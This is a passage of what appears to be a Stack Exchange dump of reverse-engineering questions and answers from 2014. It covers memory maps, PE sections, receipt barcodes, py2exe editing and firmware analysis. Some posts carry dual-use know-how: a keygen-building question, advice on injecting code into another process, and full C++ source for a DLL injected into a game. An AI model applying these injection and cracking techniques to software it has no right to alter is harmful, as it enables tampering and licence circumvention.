 0xb7e73000 0xb7e74000     0x1000          0&#xA;    0xb7e74000 0xb7fbd000   0x149000          0     /lib/i386-linux-gnu/libc-2.13.so&#xA;    0xb7fbd000 0xb7fbe000     0x1000   0x149000     /lib/i386-linux-gnu/libc-2.13.so&#xA;    0xb7fbe000 0xb7fc0000     0x2000   0x149000     /lib/i386-linux-gnu/libc-2.13.so&#xA;    0xb7fc0000 0xb7fc1000     0x1000   0x14b000     /lib/i386-linux-gnu/libc-2.13.so&#xA;    0xb7fc1000 0xb7fc4000     0x3000          0&#xA;    0xb7fdf000 0xb7fe1000     0x2000          0&#xA;    0xb7fe1000 0xb7fe2000     0x1000          0           [vdso]&#xA;    0xb7fe2000 0xb7ffe000    0x1c000          0     /lib/i386-linux-gnu/ld-2.13.so&#xA;    0xb7ffe000 0xb7fff000     0x1000    0x1b000     /lib/i386-linux-gnu/ld-2.13.so&#xA;    0xb7fff000 0xb8000000     0x1000    0x1c000     /lib/i386-linux-gnu/ld-2.13.so&#xA;    0xbffdf000 0xc0000000    0x21000          0           [stack]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I would be looking at the elf in IDA i would use 0x8048000 for the base. If I would be looking at libc-2.13.so I would use 0xb7e74000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps. &lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-12-18T01:14:24.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6849" PostTypeId="1" CreationDate="2014-12-18T19:38:05.903" Score="2" ViewCount="452" Body="&lt;p&gt;I'm debugging one module which draws some letters using either GDI or most possibly Direct Draw. I want to trace where this happens so for the reason I need to trace only instances of code, which doesn't belong to the current module. How is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using IDA Pro 6.5 on Windows.&lt;/p&gt;&#xA;" OwnerUserId="1966" LastActivityDate="2014-12-18T20:08:08.203" Title="How to detect only external-module calls?" Tags="|ida|disassembly|debugging|libraries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6850" PostTypeId="2" ParentId="6849" CreationDate="2014-12-18T20:08:08.203" Score="2" Body="&lt;p&gt;I'd recommend using &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow noreferrer&quot;&gt;API Monitor&lt;/a&gt; for this. You can limit its trace to only display calls to GDI functions and DirectDraw functions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ROcB4.png&quot; alt=&quot;API Capture Filter&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MdBos.png&quot; alt=&quot;API Monitor&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-12-18T20:08:08.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6851" PostTypeId="2" ParentId="3919" CreationDate="2014-12-18T20:51:38.883" Score="4" Body="&lt;p&gt;I've got a lead!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked over a lot of the data, and I think that people are getting distracted by the decimal representations of the binaries. &lt;em&gt;We need to just focus on the binaries.&lt;/em&gt; I first got that idea from a &lt;a href=&quot;http://www.chapmanconsulting.ca/post/2007/12/02/Hacking-the-Tassimo-Part-2-Breaking-the-Code.aspx#id_688b32e6-901c-4342-89f2-6f4239d3cf49&quot; rel=&quot;nofollow&quot;&gt;mysteriously precise comment&lt;/a&gt; on the chapman consulting post. Seems like someone with some inside knowledge, possibly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GSerg, the OP, posted a great Google spreadsheet of experiments with the binaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My hypothesis is that there are bit ranges dedicated to certain functions. For instance, I've isolated the liquid volume to &lt;strong&gt;a particular three bits&lt;/strong&gt; (8 settings). However, I think that the liquid volume changes based on a different bit-ranges. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think there are modes, and each one has it's own temperature range. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a copy of the OP's spreadsheet, with spacing on the binaries to isolate where the important volume bits are. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.google.com/spreadsheets/d/1Qpj4KC9xK5Dr7VY5HoNWr9azHKRl94jKABDwTKTbUfg/edit?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;https://docs.google.com/spreadsheets/d/1Qpj4KC9xK5Dr7VY5HoNWr9azHKRl94jKABDwTKTbUfg/edit?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is the first direct correlation of barcode to function that we have. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are closer than ever to cracking this! With a bit more data, especially temperature data, I think I could figure it out.&lt;/p&gt;&#xA;" OwnerUserId="10292" LastEditorUserId="10292" LastEditDate="2015-02-01T03:42:02.410" LastActivityDate="2015-02-01T03:42:02.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6853" PostTypeId="1" CreationDate="2014-12-19T10:07:02.830" Score="3" ViewCount="302" Body="&lt;p&gt;every time a program is loaded manually (allocating memory for the PE image, copying sections, resolving imports, relocations, etc ) I need to use C ( define code ) and P (create procedure/function) because all code is undefined. how can I resolve references ( imports, data), detect functions automatically?&lt;/p&gt;&#xA;" OwnerUserId="10298" LastEditorUserId="2147" LastEditDate="2016-10-21T03:31:55.940" LastActivityDate="2016-10-21T03:31:55.940" Title="IDA: How to automatically resolve references to Imports in modules loaded manually?" Tags="|ida|pe|import-reconstruction|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6854" PostTypeId="1" AcceptedAnswerId="6855" CreationDate="2014-12-19T12:38:47.790" Score="3" ViewCount="1309" Body="&lt;p&gt;It seems that Windows usually finds its support structures inside PEs by looking at the header information (especially OptionalHeader.DataDirectory[]), which means that there is no mandatory mapping between these data blocks and certain COFF sections (even though it is somewhat customary, as with .rsrc). As a consequence the COFF sections and their names tend to be all over the place when an executable has been mangled by a packer, 'protector' or some such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it seems that Windows determines location and size of the .pdata (array of &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ft9x1kdx.aspx&quot; rel=&quot;nofollow&quot;&gt;RUNTIME_FUNCTION&lt;/a&gt;) via the .pdata COFF section header. Is that correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That would make this section unique in that even the most hare-brained 'protector' would have to emit accurate information under the correct name, or register that information dynamically...&lt;/p&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="10027" LastEditDate="2014-12-19T12:56:42.413" LastActivityDate="2014-12-19T15:18:47.567" Title="Win64 .pdata required to be a separate COFF section?" Tags="|windows|pe|seh|binary-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6855" PostTypeId="2" ParentId="6854" CreationDate="2014-12-19T15:18:47.567" Score="6" Body="&lt;p&gt;No, the Windows loader doesn't care about the name of the &lt;code&gt;.pdata&lt;/code&gt; section. It doesn't find the &lt;code&gt;RUNTIME_FUNCTION&lt;/code&gt; structs based on the section name, but rather based on the content of &lt;code&gt;NtHeader-&amp;gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, the &lt;code&gt;RUNTIME_FUNCTION&lt;/code&gt; structs don't need to be in &quot;a separate COFF section&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-12-19T15:18:47.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6856" PostTypeId="1" AcceptedAnswerId="6857" CreationDate="2014-12-19T17:05:15.420" Score="8" ViewCount="1962" Body="&lt;p&gt;Let me explain what I'm trying to do, and then where I am at...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see on this image :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sRldz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a PDF417 at the end containing a string that at my best guess is some base64 string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here it is :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;3GLDjVKaUbwysHTAffMyChP1wqzvc/h41aebPrw0PsprtPy85tBa87vzsLw6hL8t5FBJLGlHODGQ0O8ml0OKs7mmqgB1pZsAvcs2CyAgICA0MzA2MzjAyzYLICAgICBKdWxpZSAgIDMwU09CUwAApQAAagcAAAAAAAAA&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And when I decode it, I get the following :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dOVD1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I kind of found the waitress name &quot;Julie&quot; and in front of it, there is a bunch of space characters, which I guess it is because there is a limited size to the name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same for the bill number, and the table number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I was wondering what kind of information was in the previous bits, so any idea how to proceed to decode/decrypt this information would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The machine used for the generation of the base64 string and its content is a &quot;AEC-6822&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is some unrelated information to what I'm trying to do, but may help... (I hope)&#xA;&lt;a href=&quot;http://www.revenuquebec.ca/documents/en/publications/in/in-577-v(2013-08).pdf&quot; rel=&quot;noreferrer&quot;&gt;http://www.revenuquebec.ca/documents/en/publications/in/in-577-v(2013-08).pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much,&#xA;ANY help is greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="10299" LastActivityDate="2020-01-07T20:40:30.150" Title="Reverse Engineering Quebec Canada PDF417 restaurant bills" Tags="|decryption|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6857" PostTypeId="2" ParentId="6856" CreationDate="2014-12-19T17:20:08.077" Score="4" Body="&lt;p&gt;From &lt;a href=&quot;https://www.ctf.ca/ctfweb/Documents/PDF/2009ctj/09ctj4-ainsworth.pdf&quot; rel=&quot;nofollow&quot;&gt;https://www.ctf.ca/ctfweb/Documents/PDF/2009ctj/09ctj4-ainsworth.pdf&lt;/a&gt; --&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In addition to ensure the integrity of the information presented on&#xA;  the receipt, the solution designed by Revenu Québec ensures that the&#xA;  bar-code scanned by the [handheld] reader is produced by the&#xA;  certificate delivered by [Revenu Québec] to the specific MEV [SRM]&#xA;  which generates this signature. The signature is produced by a&#xA;  combination of SHA-256 and ECC-224.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This method uses a certificate which includes a public and a private&#xA;  key issued for each MEV [SRM] with information that identifies the MEV&#xA;  [SRM] and the restaurant.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We choose the elliptic curve algorithm (ECC) to reduce the length of&#xA;  the result (&lt;strong&gt;&lt;em&gt;to be converted to a barcode&lt;/em&gt;&lt;/strong&gt;) and to maintain a good&#xA;  strength.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So apparently the previous bits in the barcode make up a digital signature, which would explain the high entropy.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-12-19T17:20:08.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6858" PostTypeId="1" CreationDate="2014-12-20T02:27:14.693" Score="1" ViewCount="1360" Body="&lt;p&gt;I understand that this question will be rather vague, but I'm unsure how to process from here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to see how a key generator can be made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been toying with IDA and managed to reconstruct an application key checking functions into C up to a point that I can check if a key is valid or not. This process uses a lot of bitwise operations such as shifting and masking which leaves me wondering how I can reverse that algo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The validation steps are as follow :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;From the serial key, use a associative table that maps chars to other values  &lt;/li&gt;&#xA;&lt;li&gt;From those values, use a block hashing with bitshift|bitmasks so that &lt;code&gt;char[n]&lt;/code&gt; depends on &lt;code&gt;char[n-1]&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Generate a key from hard coded values.&lt;/li&gt;&#xA;&lt;li&gt;Generate 2 tables with the result from 2. Table1 = Step2 encoded with Step3. Table2 is Table1 encoded with Step3  &lt;/li&gt;&#xA;&lt;li&gt;Encode Step2 with tables from Step4, depending on some bitmasking.  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So this whole thing is rather complicated. Furthermore there is constant loss of information so writing code with exact reverse order of operations is not possible (or I don't know how).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put myself in the shoes of someone who wants to create this protection scheme. Generating serials from decoded output MUST be possible. Either this whole process is reversible, or there is a function that can act as a backdoor like thing to reverse it right away, which I strongly doubt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea on things that I should look for at this point?&lt;/p&gt;&#xA;" OwnerUserId="10182" LastEditorUserId="53" LastEditDate="2015-03-06T09:40:08.883" LastActivityDate="2015-03-06T09:40:08.883" Title="Create key generator algorithm from validation algo" Tags="|disassembly|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6859" PostTypeId="2" ParentId="6761" CreationDate="2014-12-20T06:22:21.453" Score="1" Body="&lt;p&gt;A py2exe generated executable basically consists of three main parts - &lt;em&gt;PYTHONSCRIPT&lt;/em&gt;, the runtime python dll &amp;amp; library.zip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;PYTHONSCRIPT&lt;/em&gt; can be modified with a decent resource editor. It is basically a marshalled array holding pyc files. The main script of the application is usually stored here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to make changes you need to unmarshal the code objects, decompile it to &lt;em&gt;py&lt;/em&gt;, make changes, recompile back to &lt;em&gt;pyc&lt;/em&gt;, marshal it back to generate a new &lt;em&gt;PYTHONSCRIPT&lt;/em&gt; and finally update the executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modifying library.zip is easier as it is a standard zip file. It contains other &lt;em&gt;pyc/pyo&lt;/em&gt; files. You can decompile them, make changes, recompile it back to &lt;em&gt;pyc/pyo&lt;/em&gt;, and zip them up. Next replace the overlay in the executable with your new zip file and you are done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to automate some of the above steps you can use a tool &lt;a href=&quot;https://sourceforge.net/projects/p2ebe/&quot; rel=&quot;nofollow&quot;&gt;Py2Exe Binary Editor&lt;/a&gt;&#xA;&lt;br&gt;&lt;sub&gt;Note: I am the author of the above tool&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2014-12-20T06:22:21.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6860" PostTypeId="1" CreationDate="2014-12-20T10:15:10.653" Score="0" ViewCount="1547" Body="&lt;p&gt;I'm planning to inject a thread into another process and unfortunately I need to write the thread function in raw bytes and can't just compile it in my program and then copy it over. &#xA;The thread needs to receive a struct and call a function by address passing certain contents of the struct as parameters. &#xA;Now I'm wondering how I could write this basic code in C/C++ and let it being converted into bytes. &lt;/p&gt;&#xA;" OwnerUserId="10255" LastActivityDate="2014-12-20T17:02:46.017" Title="Convert C/C++ function to raw bytes" Tags="|c++|c|byte-code|injection|" AnswerCount="1" CommentCount="1" ClosedDate="2014-12-23T05:52:14.957" ContentLicense="CC BY-SA 3.0" />
  <row Id="6861" PostTypeId="2" ParentId="6860" CreationDate="2014-12-20T16:47:10.900" Score="1" Body="&lt;p&gt;In general you cannot expect a function written in C/C++ to result in a single compact, copyable chunk of object code inside your executable. To achieve that you need to tweak the compiler settings and take the function's address in plain view of the compiler, to make it emit the actual code of the function instead of inlining it. Or use an equivalent compiler directive, like &lt;code&gt;__declspec(noinline)&lt;/code&gt; in VC++.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, compilers often call helper functions under the hood even if the source code does not show any explicit function calls. There's things like &lt;code&gt;__security_check_cookie()&lt;/code&gt;, for example, or &lt;code&gt;__allmul()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that, coding such a function in C/C++ can be done with suitable care and suitable control over compiler options. The advantage is that such code is often much clearer and more readable than (inline) assembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One option that works on most platforms is to rip the object code for the function from the object file produced by the compiler. This is a bit involved because it requires parsing the object file format but the meta information allows you to ascertain that the object code chunk is free from naughty calls to hidden functions, and items that need relocation (like imports and variable addresses) are also dealt with in the meta data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One option that can work for 64-bit executables under Windows is using the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ft9x1kdx.aspx&quot; rel=&quot;nofollow&quot;&gt;RUNTIME_FUNCTION&lt;/a&gt; info in the .pdata section. This data allows you to determine the physical size of your function and also to verify that the code for the function is in one continguous chunk and not split into several pieces. Leaf functions are usually not included in the .pdata but calling through a function pointer is sufficient to make your function a non-leaf. You still need to inspect the code to ascertain that it is free from naughtiness, though, until you have gathered enough experience with (and trust in) your compiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option that can be made to work on many platforms is to walk the object code for the function using a disassembler library like &lt;a href=&quot;http://www.capstone-engine.org/&quot; rel=&quot;nofollow&quot;&gt;Capstone&lt;/a&gt; or &lt;a href=&quot;https://code.google.com/p/distorm/&quot; rel=&quot;nofollow&quot;&gt;diStorm&lt;/a&gt;. That's what I would prefer...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Injecting a DLL is bound to be a lot easier than all that, though. Not to mention less restrictive and much more powerful.&lt;/p&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="10027" LastEditDate="2014-12-20T17:02:46.017" LastActivityDate="2014-12-20T17:02:46.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6862" PostTypeId="1" AcceptedAnswerId="6869" CreationDate="2014-12-20T18:37:54.477" Score="1" ViewCount="4614" Body="&lt;p&gt;How can someone with little programming knowledge except for some Ruby on Rails/Ruby begin on a path of Reverse Engineering as a hobbyist to help the exploitation process of modern-day gaming consoles like Xbox Ones and PS4s?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize there is no simple &quot;do this, then that&quot; spoon-fed process of learning an extremely diverse subject matter like reversing but there are such vast amounts of tutorials that I have no idea which ones really pertain to my interest of specifically &lt;strong&gt;&lt;em&gt;game console exploitation&lt;/em&gt;&lt;/strong&gt;! I really want to help contribute to the long-term process of finding these vulnerabilities and get unsigned code running on these systems&lt;/p&gt;&#xA;" OwnerUserId="10176" LastActivityDate="2014-12-21T21:43:08.173" Title="How to start learning reverse engineering to eventually help exploiting of modern consoles like Xbox One, PS4?" Tags="|disassembly|obfuscation|exploit|embedded|" AnswerCount="1" CommentCount="9" ClosedDate="2014-12-22T12:02:25.477" ContentLicense="CC BY-SA 3.0" />
  <row Id="6863" PostTypeId="1" CreationDate="2014-12-20T19:20:22.893" Score="1" ViewCount="881" Body="&lt;p&gt;I am developing a DLL for the purpose of injecting it into a running process for a game. I've found the memory addresses to some key functions(via Immunity Debugger) and I am trying to call those functions from within' my injected DLL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far whenever I inject my DLL and press the hotkey combination of ALT+T, the game client stops responding and crashes. At one particular instance it showed a debug error saying: &quot;The process was not able to resume execution because the ESP value was changed&quot;, or something similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to alter the ESP value before and after I call the process function from within' my DLL? If so, how would I do this properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the source code of my DLL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Warband_Chat.cpp : Defines the exported functions for the DLL application.&#xA;&#xA;#include &quot;stdafx.h&quot;&#xA;#include &amp;lt;windows.h&amp;gt; // Include the functions we are going to use like Sleep and hInstance etc...&#xA;#include &amp;lt;fstream&amp;gt; // Allows us to work with files on the hard drive.&#xA;#include &amp;lt;iostream&amp;gt;&#xA;&#xA;#define MAX_BUFFER_SIZE 300 // Maximum chat message size: 300 characters.&#xA;#define ThreadMake(x) CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)&amp;amp;x,NULL,NULL,NULL); // Makes creating threads easy, it just requires 1 parameter(the function).&#xA;using namespace std;&#xA;&#xA;// Define process(Warband) function based on its parameters and its location in memory.&#xA;typedef void(__cdecl* ChatFunc)(char*);&#xA;ChatFunc Chat = (ChatFunc)0x00450C60;&#xA;&#xA;&#xA;wchar_t *convertCharArrayToLPCWSTR(const char* charArray)&#xA;/* Converts a char array to a LCPWSTR string. */&#xA;{&#xA;    wchar_t* wString=new wchar_t[4096];&#xA;    MultiByteToWideChar(CP_ACP, 0, charArray, -1, wString, 4096);&#xA;    return wString;&#xA;}&#xA;&#xA;&#xA;int getkey(char x) // A function I made to get 1 key and automatically check ALT(vk_menu,0x12)&#xA;{&#xA;    if(GetAsyncKeyState(VK_MENU)&amp;amp;0x8000 &amp;amp;&amp;amp; GetAsyncKeyState(x)&amp;amp;0x8000)//Check if we are pressing ALT and what ever is inside x&#xA;    {&#xA;        return 1; // if we are then return true.&#xA;    }&#xA;    return 0; // If the condition is not met then return false&#xA;}&#xA;&#xA;&#xA;void main() // the main function&#xA;{&#xA;    while(1) // the main loop&#xA;    {&#xA;        if(getkey('T')) // If we are pressing ALT + T then do&#xA;        {&#xA;                        ifstream file(&quot;chat.txt&quot;);&#xA;                        if (!file.is_open())&#xA;                        {&#xA;                                MessageBox(NULL, L&quot;Failed to open chat.txt. Make sure its on your root Mount &amp;amp; Blade: Warband folder.&quot;, L&quot;Failed&quot;, MB_OK);&#xA;                        }&#xA;                        else&#xA;                        {&#xA;                                char buffer[MAX_BUFFER_SIZE];&#xA;                                file.getline(buffer, MAX_BUFFER_SIZE-1);&#xA;                                Chat(buffer); // Call chat function&#xA;                                LPCWSTR newbuffer = convertCharArrayToLPCWSTR(buffer);&#xA;                                MessageBox(NULL, newbuffer, L&quot;Success&quot;, MB_OK); // Post a message if we injected.&#xA;                                // the L before the messages is just to tell MSVS that those are LPCTSTR characters.&#xA;                        }&#xA;                        file.close();&#xA;            Sleep(20); // Sleep so we don't lag&#xA;        }&#xA;                Sleep(20); // no lag.&#xA;    }&#xA;}&#xA;&#xA;&#xA;extern &quot;C&quot; // DLL Hook&#xA;{&#xA;    __declspec(dllexport) BOOL __stdcall DllMain(HINSTANCE hInst,DWORD reason,LPVOID lpv)&#xA;    {&#xA;        if (reason == DLL_PROCESS_ATTACH)&#xA;        {&#xA;            DisableThreadLibraryCalls(hInst);&#xA;            ThreadMake(main); // Creates a new thread on the process.&#xA;        }&#xA;    return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10129" LastActivityDate="2014-12-20T19:43:27.323" Title="Cannot call function (properly) in C++" Tags="|c++|dll|immunity-debugger|dll-injection|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6865" PostTypeId="2" ParentId="6863" CreationDate="2014-12-20T19:43:27.323" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;At one particular instance it showed a debug error saying: &quot;The&#xA;  process was not able to resume execution because the ESP value was&#xA;  changed&quot;, or something similar.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef void(__cdecl* ChatFunc)(char*);&#xA;ChatFunc Chat = (ChatFunc)0x00450C60;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It sounds like the function at &lt;code&gt;0x00450C60&lt;/code&gt; is not a &lt;code&gt;__cdecl&lt;/code&gt; function and/or it doesn't take exactly one function argument. Re-analyze the disassembly of that function and fix your prototype.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-12-20T19:43:27.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6867" PostTypeId="1" AcceptedAnswerId="6868" CreationDate="2014-12-21T17:39:08.313" Score="5" ViewCount="3423" Body="&lt;p&gt;I'm in the process of trying to reverse engineer a GPS-watch firmware image in purpose of adding a new feature to the watch. Here's what I got so far&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have the firmware image (.gcd file). AFAIK it's no common image, I couldn't find &lt;em&gt;any&lt;/em&gt; information about it from googling&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's the &lt;code&gt;binwalk&lt;/code&gt; output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;344446        0x5417E         Zlib compressed data, default compression&#xA;548342        0x85DF6         Zlib compressed data, default compression&#xA;548698        0x85F5A         Zlib compressed data, default compression&#xA;548849        0x85FF1         Zlib compressed data, compressed&#xA;549789        0x8639D         Zlib compressed data, compressed&#xA;550677        0x86715         Zlib compressed data, compressed&#xA;550878        0x867DE         Zlib compressed data, default compression&#xA;551849        0x86BA9         Zlib compressed data, default compression&#xA;551871        0x86BBF         Zlib compressed data, best compression&#xA;552002        0x86C42         Zlib compressed data, default compression&#xA;552145        0x86CD1         Zlib compressed data, compressed&#xA;552274        0x86D52         Zlib compressed data, default compression&#xA;552425        0x86DE9         Zlib compressed data, compressed&#xA;552778        0x86F4A         Zlib compressed data, default compression&#xA;553056        0x87060         Zlib compressed data, default compression&#xA;553199        0x870EF         Zlib compressed data, compressed&#xA;554875        0x8777B         Zlib compressed data, compressed&#xA;555202        0x878C2         Zlib compressed data, default compression&#xA;555341        0x8794D         Zlib compressed data, compressed&#xA;555600        0x87A50         Zlib compressed data, default compression&#xA;555778        0x87B02         Zlib compressed data, default compression&#xA;555928        0x87B98         Zlib compressed data, default compression&#xA;556221        0x87CBD         Zlib compressed data, compressed&#xA;556502        0x87DD6         Zlib compressed data, default compression&#xA;556612        0x87E44         Zlib compressed data, default compression&#xA;556953        0x87F99         Zlib compressed data, compressed&#xA;559176        0x88848         Zlib compressed data, default compression&#xA;559922        0x88B32         Zlib compressed data, default compression&#xA;560116        0x88BF4         Zlib compressed data, default compression&#xA;560292        0x88CA4         Zlib compressed data, default compression&#xA;560417        0x88D21         Zlib compressed data, compressed&#xA;560774        0x88E86         Zlib compressed data, default compression&#xA;561567        0x8919F         Zlib compressed data, default compression&#xA;562207        0x8941F         Zlib compressed data, best compression&#xA;670601        0xA3B89         Zlib compressed data, best compression&#xA;673859        0xA4843         Zlib compressed data, compressed&#xA;678389        0xA59F5         Zlib compressed data, default compression&#xA;797326        0xC2A8E         Zlib compressed data, default compression&#xA;811248        0xC60F0         Zlib compressed data, compressed&#xA;850955        0xCFC0B         Zlib compressed data, best compression&#xA;1023917       0xF9FAD         Zlib compressed data, best compression&#xA;1079306       0x10780A        Zlib compressed data, default compression&#xA;1278786       0x138342        Zlib compressed data, default compression&#xA;1278986       0x13840A        Zlib compressed data, default compression&#xA;1279066       0x13845A        Zlib compressed data, default compression&#xA;1279106       0x138482        Zlib compressed data, default compression&#xA;1279186       0x1384D2        Zlib compressed data, default compression&#xA;1279226       0x1384FA        Zlib compressed data, default compression&#xA;1281321       0x138D29        Copyright string: &quot; 2002-2009n&quot;&#xA;1284386       0x139922        XML document, version: &quot;1.0&quot;&#xA;1294150       0x13BF46        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 754974720 bytes&#xA;1294166       0x13BF56        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 419430400 bytes&#xA;1294182       0x13BF66        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 419430400 bytes&#xA;1294206       0x13BF7E        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 419430400 bytes&#xA;1294222       0x13BF8E        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 419430400 bytes&#xA;1370193       0x14E851        Zlib compressed data, default compression&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It all seems like a false positive because when I run &#xA;&lt;code&gt;binwalk -e&lt;/code&gt; I get these files as output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jrxCN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All files without file suffixes are empty and the zip files give an error. ( I can't unzip the zlib files)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;code&gt;hexdump&lt;/code&gt; output I see quite a lot of ascii which I guess indicates it's not encrypted. Especially I've found that there seems to be some sort of language files between &lt;code&gt;0x10780A&lt;/code&gt; and &lt;code&gt;0x138342&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've included the hexdump as 